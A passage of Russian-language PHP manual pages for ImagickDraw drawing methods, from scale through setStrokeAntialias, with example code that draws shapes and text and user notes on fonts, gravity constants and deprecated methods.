К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Регулирует коэффициент масштабирования для применения в горизонтальном и вертикальном направлениях к текущему координатному пространству.

Список параметров

x

Горизонтальный коэффициент масштабирования.

y

Вертикальный коэффициент масштабирования.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::scale()

<?php
function scale($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(4);
$draw->setFillColor($fillColor);
$draw->rectangle(200, 200, 300, 300);
$draw->setFillColor($fillModifiedColor);
$draw->scale(1.4, 1.4);
$draw->rectangle(200, 200, 300, 300);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Связывает именованный контур обтравочного контура с изображением

  • « ImagickDraw::scale
  • ImagickDraw::setClipRule »
  • PHP Manual
  • ImagickDraw
  • Связывает именованный контур обтравочного контура с изображением

ImagickDraw::setClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipPath — Связывает именованный контур обтравочного контура с изображением

Описание

public ImagickDraw::setClipPath(string $clip_mask): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Связывает именованный контур обтравочного контура с изображением. Только области, нарисованные обтравочным контуром, будут изменены, пока он остаётся в силе.

Список параметров

clip_mask

имя обтравочного контура

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setClipPath()

<?php
function setClipPath($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$clipPathName = 'testClipPath';

$draw->pushClipPath($clipPathName);
$draw->rectangle(0, 0, 250, 250);
$draw->popClipPath();
$draw->setClipPath($clipPathName);
$draw->rectangle(100, 100, 400, 400);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром

  • « ImagickDraw::setClipPath
  • ImagickDraw::setClipUnits »
  • PHP Manual
  • ImagickDraw
  • Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром

ImagickDraw::setClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipRule — Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром

Описание

public ImagickDraw::setClipRule(int $fill_rule): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает правило заливки многоугольника, которое будет использоваться обтравочным контуром.

Список параметров

fill_rule

Одна из констант FILLRULE (imagick::FILLRULE_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setClipRule()

<?php
function setClipRule($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
//\Imagick::FILLRULE_EVENODD
//\Imagick::FILLRULE_NONZERO

$clipPathName = 'testClipPath';
$draw->pushClipPath($clipPathName);
$draw->setClipRule(\Imagick::FILLRULE_EVENODD);
$draw->rectangle(0, 0, 300, 500);
$draw->rectangle(200, 0, 500, 500);
$draw->popClipPath();
$draw->setClipPath($clipPathName);
$draw->rectangle(200, 200, 300, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает интерпретацию единиц траектории обтравочного контура

  • « ImagickDraw::setClipRule
  • ImagickDraw::setFillAlpha »
  • PHP Manual
  • ImagickDraw
  • Устанавливает интерпретацию единиц траектории обтравочного контура

ImagickDraw::setClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setClipUnits — Устанавливает интерпретацию единиц траектории обтравочного контура

Описание

public ImagickDraw::setClipUnits(int $clip_units): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает интерпретацию единиц траектории обтравочного контура.

Список параметров

clip_units

количество единиц обтравочного контура

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setClipUnits()

<?php
function setClipUnits($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
$clipPathName = 'testClipPath';
$draw->setClipUnits(\Imagick::RESOLUTION_PIXELSPERINCH);
$draw->pushClipPath($clipPathName);
$draw->rectangle(0, 0, 250, 250);
$draw->popClipPath();
$draw->setClipPath($clipPathName);

//RESOLUTION_PIXELSPERINCH
//RESOLUTION_PIXELSPERCENTIMETER

$draw->rectangle(200, 200, 300, 300);
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

  • « ImagickDraw::setClipUnits
  • ImagickDraw::setFillColor »
  • PHP Manual
  • ImagickDraw
  • Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

ImagickDraw::setFillAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillAlpha — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

Описание

public ImagickDraw::setFillAlpha(float $opacity): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки. Полностью непрозрачный - 1.0.

Список параметров

opacity

Непрозрачность заливки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFillAlpha()

<?php
function setFillAlpha($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);
$draw->rectangle(100, 200, 200, 300);
@$draw->setFillAlpha(0.4);
$draw->rectangle(300, 200, 400, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Mark van der Velden 06-Dec-2007 01:37
setFillAlpha is deprecated use the replacement: setFillOpacity


Устанавливает цвет заливки, используемый для рисования объектов с заливкой

  • « ImagickDraw::setFillAlpha
  • ImagickDraw::setFillOpacity »
  • PHP Manual
  • ImagickDraw
  • Устанавливает цвет заливки, используемый для рисования объектов с заливкой

ImagickDraw::setFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillColor — Устанавливает цвет заливки, используемый для рисования объектов с заливкой

Описание

public ImagickDraw::setFillColor(ImagickPixel $fill_pixel): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает цвет заливки, используемый для рисования объектов с заливкой.

Список параметров

fill_pixel

Объект ImagickPixel, используемый для установки цвета.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFillColor()

<?php
function setFillColor($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(1.5);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->rectangle(50, 50, 150, 150);

$draw->setFillColor("rgb(200, 32, 32)");
$draw->rectangle(200, 50, 300, 150);

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

moguchicorp at gmail dot com 14-Mar-2011 03:00
It also accepts color definitions by name and hexa, as in

<?php
$draw = new ImagickDraw();

/* defined color black */
$draw->setFillColor('black');

/* some light brown */
$draw->setFillColor('#a4610f');

?>


Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

  • « ImagickDraw::setFillColor
  • ImagickDraw::setFillPatternURL »
  • PHP Manual
  • ImagickDraw
  • Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

ImagickDraw::setFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillOpacity — Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки

Описание

public ImagickDraw::setFillOpacity(float $fillOpacity): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает непрозрачность при рисовании с использованием цвета или текстуры заливки. Полностью непрозрачный - 1.0.

Список параметров

fillOpacity

Непрозрачность заливки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFillOpacity()

<?php
function setFillOpacity($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeOpacity(1);
$draw->setStrokeWidth(2);

$draw->rectangle(100, 200, 200, 300);

$draw->setFillOpacity(0.4);
$draw->rectangle(300, 200, 400, 300);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Michael Voek 08-Aug-2015 12:55
When fill color is changed, this is reset to 1.0 or to defined alpha with #aaxxx color format, where aa is alpha.


Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов

  • « ImagickDraw::setFillOpacity
  • ImagickDraw::setFillRule »
  • PHP Manual
  • ImagickDraw
  • Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов

ImagickDraw::setFillPatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillPatternURL — Устанавливает URL-адрес для использования в качестве образца заливки для заливки объектов

Описание

public ImagickDraw::setFillPatternURL(string $fill_url): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает URL-адрес для использования в качестве образца заливки для объектов. В настоящее время поддерживаются только локальные URL-адреса ("#identifier"). Эти локальные URL-адреса обычно создаются путём определения именованного образца заливки с помощью DrawPushPattern/DrawPopPattern.

Список параметров

fill_url

URL-адрес, используемый для получения образца заливки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает правило заливки для использования при рисовании полигонов

  • « ImagickDraw::setFillPatternURL
  • ImagickDraw::setFont »
  • PHP Manual
  • ImagickDraw
  • Устанавливает правило заливки для использования при рисовании полигонов

ImagickDraw::setFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFillRule — Устанавливает правило заливки для использования при рисовании полигонов

Описание

public ImagickDraw::setFillRule(int $fill_rule): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает правило заливки для использования при рисовании полигонов.

Список параметров

fill_rule

Одна из констант FILLRULE (imagick::FILLRULE_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFillRule()

<?php
function setFillRule($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$fillRules = [\Imagick::FILLRULE_NONZERO, \Imagick::FILLRULE_EVENODD];

$points = 11;
$size = 150;

$draw->translate(175, 160);

for ($x = 0; $x < 2; $x++) {
$draw->setFillRule($fillRules[$x]);
$draw->pathStart();
for ($n = 0; $n < $points * 2; $n++) {

if ($n >= $points) {
$angle = fmod($n * 360 * 4 / $points, 360) * pi() / 180;
}
else {
$angle = fmod($n * 360 * 3 / $points, 360) * pi() / 180;
}

$positionX = $size * sin($angle);
$positionY = $size * cos($angle);

if ($n == 0) {
$draw->pathMoveToAbsolute($positionX, $positionY);
}
else {
$draw->pathLineToAbsolute($positionX, $positionY);
}
}

$draw->pathClose();
$draw->pathFinish();

$draw->translate(325, 0);
}

$image = new \Imagick();
$image->newImage(700, 320, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает указанный шрифт для использования при аннотировании текстом

  • « ImagickDraw::setFillRule
  • ImagickDraw::setFontFamily »
  • PHP Manual
  • ImagickDraw
  • Устанавливает указанный шрифт для использования при аннотировании текстом

ImagickDraw::setFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFont — Устанавливает указанный шрифт для использования при аннотировании текстом

Описание

public ImagickDraw::setFont(string $font_name): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает указанный шрифт для использования при аннотировании текстом.

Список параметров

font_name

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::setFont()

<?php
function setFont($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(36);

$draw->setFont("../fonts/Arial.ttf");
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFont("../fonts/Consolas.ttf");
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFont("../fonts/CANDY.TTF");
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFont("../fonts/Inconsolata-dz.otf");
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Stefano 24-Apr-2017 01:16
if u are looking for the configured/embedded font list
$fontList = \Imagick::queryFonts('*');
foreach ( $fontList as $fontName ) {
    echo $fontName . '<br>';
}

http://php.net/manual/en/imagick.queryfonts.php
Anonymous 06-Apr-2011 05:54
To get a list of fonts that ImageMagick knows about, enter this from a cmd shell:
 convert -list font
zombiebovine at gmail dot com 14-Sep-2009 05:49
The only acceptable parameters I've been able to use are the location, relative to site root, of a font file.

e.g,
$draw->setFont("fonts/arial.ttf");


Устанавливает семейство шрифтов для использования при аннотировании текстом

  • « ImagickDraw::setFont
  • ImagickDraw::setFontSize »
  • PHP Manual
  • ImagickDraw
  • Устанавливает семейство шрифтов для использования при аннотировании текстом

ImagickDraw::setFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontFamily — Устанавливает семейство шрифтов для использования при аннотировании текстом

Описание

public ImagickDraw::setFontFamily(string $font_family): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает семейство шрифтов для использования при аннотировании текстом.

Список параметров

font_family

Семейство шрифтов.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::setFontFamily()

<?php
function setFontFamily($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$draw->setFontSize(48);

$draw->setFontFamily("Times");
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontFamily("AvantGarde");
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontFamily("NewCenturySchlbk");
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFontFamily("Palatino");
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(450, 250, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает размер шрифта для использования при аннотировании текстом

  • « ImagickDraw::setFontFamily
  • ImagickDraw::setFontStretch »
  • PHP Manual
  • ImagickDraw
  • Устанавливает размер шрифта для использования при аннотировании текстом

ImagickDraw::setFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontSize — Устанавливает размер шрифта для использования при аннотировании текстом

Описание

public ImagickDraw::setFontSize(float $pointsize): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает размер шрифта для использования при аннотировании текстом.

Список параметров

pointsize

Размер шрифта.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFontSize()

<?php
function setFontSize($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFont("../fonts/Arial.ttf");

$sizes = [24, 36, 48, 60, 72];

foreach ($sizes as $size) {
$draw->setFontSize($size);
$draw->annotation(50, ($size * $size / 16), "Lorem Ipsum!");
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

hmkrox at gmail dot com 03-Aug-2009 07:10
The font size taken in parameter is not the size in point (1 point = 1/72 inch) but the font's height in pixel.
Therefore you should do a conversion to have the correct font size if you want to modify a document destined to print.
For example, if your document's resolution is 300ppi, you should add a 25/6 multiplying factor to your fontsize in order to have a correct behaviour of the font.
jgsujith at in dot com 15-Jul-2009 06:23
<?php
$sourceFile='in.jpg';
$textWrite='God is Great';
$x=50;
$y=50;
$fontColor='#000000';
$fontSize=34;

$colorPix=new ImagickPixel ($fontColor);
$image=new Imagick ($sourceFile);
$draw=new ImagickDraw();

$draw->setFontSize($fontSize);//Sets the font pointsize to use when annotating with text

$draw->setFillColor($colorPix);//Sets the fill color to be used for drawing filled objects

$image->annotateImage($draw,$x,$y,0,$textWrite);//Annotates an image with text

$image->writeImage('out.jpg');//Writes an image to the specified filename
?>


Устанавливает растяжение шрифта для использования при аннотировании текстом

  • « ImagickDraw::setFontSize
  • ImagickDraw::setFontStyle »
  • PHP Manual
  • ImagickDraw
  • Устанавливает растяжение шрифта для использования при аннотировании текстом

ImagickDraw::setFontStretch

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStretch — Устанавливает растяжение шрифта для использования при аннотировании текстом

Описание

public ImagickDraw::setFontStretch(int $fontStretch): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает растяжение шрифта для использования при аннотировании текстом. Использование AnyStretch действует как «любое».

Список параметров

fontStretch

Одна из констант STRETCH (imagick::STRETCH_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFontStretch()

<?php
function setFontStretch($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(36);

$fontStretchTypes = [
\Imagick::STRETCH_ULTRACONDENSED,
\Imagick::STRETCH_CONDENSED,
\Imagick::STRETCH_SEMICONDENSED,
\Imagick::STRETCH_SEMIEXPANDED,
\Imagick::STRETCH_EXPANDED,
\Imagick::STRETCH_EXTRAEXPANDED,
\Imagick::STRETCH_ULTRAEXPANDED,
\Imagick::STRETCH_ANY
];

$offset = 0;
foreach ($fontStretchTypes as $fontStretch) {
$draw->setFontStretch($fontStretch);
$draw->annotation(50, 75 + $offset, "Lorem Ipsum!");
$offset += 50;
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает стиль шрифта для использования при аннотировании текстом

  • « ImagickDraw::setFontStretch
  • ImagickDraw::setFontWeight »
  • PHP Manual
  • ImagickDraw
  • Устанавливает стиль шрифта для использования при аннотировании текстом

ImagickDraw::setFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontStyle — Устанавливает стиль шрифта для использования при аннотировании текстом

Описание

public ImagickDraw::setFontStyle(int $style): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает стиль шрифта, который будет использоваться при аннотировании текстом. Использование AnyStyle действует как «любой».

Список параметров

style

Одна из констант STYLE (imagick::STYLE_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setFontStyle()

<?php
function setFontStyle($fillColor, $strokeColor, $backgroundColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(36);
$draw->setFontStyle(\Imagick::STYLE_NORMAL);
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontStyle(\Imagick::STYLE_ITALIC);
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontStyle(\Imagick::STYLE_OBLIQUE);
$draw->annotation(50, 150, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(350, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает толщину шрифта

  • « ImagickDraw::setFontStyle
  • ImagickDraw::setGravity »
  • PHP Manual
  • ImagickDraw
  • Устанавливает толщину шрифта

ImagickDraw::setFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setFontWeight — Устанавливает толщину шрифта

Описание

public ImagickDraw::setFontWeight(int $font_weight): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает толщину шрифта для использования при аннотировании текстом.

Список параметров

font_weight

Возвращаемые значения

Примеры

Пример #1 Пример использования ImagickDraw::setFontWeight()

<?php
function setFontWeight($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(1);

$draw->setFontSize(36);

$draw->setFontWeight(100);
$draw->annotation(50, 50, "Lorem Ipsum!");

$draw->setFontWeight(200);
$draw->annotation(50, 100, "Lorem Ipsum!");

$draw->setFontWeight(400);
$draw->annotation(50, 150, "Lorem Ipsum!");

$draw->setFontWeight(800);
$draw->annotation(50, 200, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 26-May-2009 05:15
Valid Range 100-900. I found that any value 551 and above would give me bold.


Устанавливает гравитацию размещения текста

  • « ImagickDraw::setFontWeight
  • ImagickDraw::setResolution »
  • PHP Manual
  • ImagickDraw
  • Устанавливает гравитацию размещения текста

ImagickDraw::setGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setGravity — Устанавливает гравитацию размещения текста

Описание

public ImagickDraw::setGravity(int $gravity): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает гравитацию размещения текста, используемую при его аннотации.

Список параметров

gravity

Одна из констант GRAVITY (imagick::GRAVITY_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setGravity()

<?php
function setGravity($fillColor, $strokeColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(24);

$gravitySettings = array(
\Imagick::GRAVITY_NORTHWEST => 'NorthWest',
\Imagick::GRAVITY_NORTH => 'North',
\Imagick::GRAVITY_NORTHEAST => 'NorthEast',
\Imagick::GRAVITY_WEST => 'West',
\Imagick::GRAVITY_CENTER => 'Centre',
\Imagick::GRAVITY_SOUTHWEST => 'SouthWest',
\Imagick::GRAVITY_SOUTH => 'South',
\Imagick::GRAVITY_SOUTHEAST => 'SouthEast',
\Imagick::GRAVITY_EAST => 'East'
);

$draw->setFont("../fonts/Arial.ttf");

foreach ($gravitySettings as $type => $description) {
$draw->setGravity($type);
$draw->annotation(50, 50, '"' . $description . '"');
}

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

bcre8ve at gmail dot com 13-Sep-2013 02:15
It appears that the GRAVITY constants have an integer equivalent:
NORTHWEST = 1
NORTH = 2
NORTHEAST = 3
WEST = 4
CENTER = 5
EAST = 6
SOUTHWEST = 7
SOUTH = 8
SOUTHEAST = 9
alan at ridersite dot org 28-Aug-2007 07:51
Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.

For example:
$draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 0, 0, 0, 'The quick brown fox jumps over the lazy dog');

Will horizontally and vertically center the text string.

Note, there are several gravity constants available. See, Constants — Imagick class constants


Устанавливает разрешение

  • « ImagickDraw::setGravity
  • ImagickDraw::setStrokeAlpha »
  • PHP Manual
  • ImagickDraw
  • Устанавливает разрешение

ImagickDraw::setResolution

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setResolution — Устанавливает разрешение

Описание

public ImagickDraw::setResolution(float $x_resolution, float $y_resolution): bool

Устанавливает разрешение.

Список параметров

x_resolution

y_resolution

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Определяет непрозрачность обводки контуров объекта

  • « ImagickDraw::setResolution
  • ImagickDraw::setStrokeAntialias »
  • PHP Manual
  • ImagickDraw
  • Определяет непрозрачность обводки контуров объекта

ImagickDraw::setStrokeAlpha

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAlpha — Определяет непрозрачность обводки контуров объекта

Описание

public ImagickDraw::setStrokeAlpha(float $opacity): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Определяет непрозрачность обводки контуров объекта.

Список параметров

opacity

Непрозрачность.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeAlpha()

<?php
function setStrokeAlpha($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);
$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeOpacity(0.1);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

Anonymous 09-Oct-2018 11:10
ImagickDraw::setStrokeAlpha method is deprecated and it's use should be avoided

not sure since which version this became deprecated.
Thomas 19-Sep-2014 12:30
Must be set after setStrokeColor().

Values between 0 (invisible) and 1.


Управляет сглаживанием обводок контуров

  • « ImagickDraw::setStrokeAlpha
  • ImagickDraw::setStrokeColor »
  • PHP Manual
  • ImagickDraw
  • Управляет сглаживанием обводок контуров

ImagickDraw::setStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeAntialias — Управляет сглаживанием обводок контуров

Описание

public ImagickDraw::setStrokeAntialias(bool $stroke_antialias): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Управляет сглаживанием обводок контуров. По умолчанию обведённые контуры сглаживаются. Когда сглаживание отключено, для обведённых пикселей устанавливается пороговое значение, чтобы определить, следует ли использовать цвет обводки или цвет базового холста.

Список параметров

stroke_antialias

Настройка сглаживания.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeAntialias()

<?php
function setStrokeAntialias($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setStrokeAntialias(false);
$draw->line(100, 100, 400, 105);

$draw->line(100, 140, 400, 185);

$draw->setStrokeAntialias(true);
$draw->line(100, 110, 400, 115);
$draw->line(100, 150, 400, 195);

$image = new \Imagick();
$image->newImage(500, 250, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет, используемый для обводки контуров объекта

  • « ImagickDraw::setStrokeAntialias
  • ImagickDraw::setStrokeDashArray »
  • PHP Manual
  • ImagickDraw
